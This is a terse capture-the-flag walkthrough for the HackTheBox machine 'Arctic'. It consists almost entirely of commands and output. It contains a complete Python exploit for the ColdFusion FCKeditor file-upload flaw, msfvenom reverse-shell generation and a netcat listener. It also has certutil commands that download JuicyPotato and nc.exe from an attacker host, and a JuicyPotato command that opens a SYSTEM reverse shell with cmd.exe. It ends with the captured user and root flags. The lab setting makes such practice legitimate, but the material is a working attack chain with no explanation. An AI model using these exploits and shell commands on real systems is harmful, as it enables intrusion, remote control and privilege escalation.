HackTheBox Arctic

$ nmap -sV -sC -Pn -oN 10.10.10.11 10.10.10.11
PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  fmtp?
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

from __future__ import absolute_import
from __future__ import print_function
import requests, sys
try:
    ip = sys.argv[1]
    port = sys.argv[2]
    if len(sys.argv) == 5:
        path = sys.argv[3]
        with open(sys.argv[4], 'r') as payload:
            body=payload.read()
    else:
        path = ""
        with open(sys.argv[3], 'r') as payload:
            body=payload.read()
except IndexError:
    print('Usage: ./exploit.py <target ip/hostname> <target port> [/path/to/coldfusion] </path/to/payload.jsp>')
    print('Example: ./exploit.py example.com 8500 /home/arrexel/shell.jsp')
    sys.exit(-1)
basepath = "http://" + ip + ":" + port + path
print('Sending payload...')
try:
    req = requests.post(basepath + "/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/exploit.jsp%00", files={'newfile': ('exploit.txt', body, 'application/x-java-archive')}, timeout=30)
    if req.status_code == 200:
        print('Successfully uploaded payload!\\nFind it at ' + basepath + '/userfiles/file/exploit.jsp')
    else:
        print('Failed to upload payload... ' + str(req.status_code) + ' ' + req.reason)
except requests.Timeout:
    print('Failed to upload payload... Request timed out')

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=1234 -f raw -o shell.jsp
python exp.py 10.10.10.11 8500 shell.jsp
rlwrap nc -lnvp 1234
curl http://10.10.10.11:8500/userfiles/file/exploit.jsp

C:\Users\tolis\Desktop>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix  . :
IPv4 Address. . . . . . . . . . . : 10.10.10.11
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
Tunnel adapter isatap.{79F1B374-AC3C-416C-8812-BF482D048A22}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix  . :
Tunnel adapter Local Area Connection* 9:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix  . :
C:\Users\tolis\Desktop>type user.txt
02650d3a69a70780c302e146a6cb96f3

rlwrap nc -lnvp 1235

certutil -urlcache -f "http://10.10.14.8/JuicyPotatoX86.exe" js.exe
certutil -urlcache -f "http://10.10.14.8/nc.exe" nc.exe
jp.exe -l 1234 -p nc.exe -a "10.10.14.8 1235 -e cmd.exe" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

C:\Users\Administrator\Desktop>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix  . :
IPv4 Address. . . . . . . . . . . : 10.10.10.11
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
Tunnel adapter isatap.{79F1B374-AC3C-416C-8812-BF482D048A22}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix  . :
Tunnel adapter Local Area Connection* 9:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix  . :
C:\Users\Administrator\Desktop>type root.txt
ce65ceee66b2b5ebaff07e50508ffb90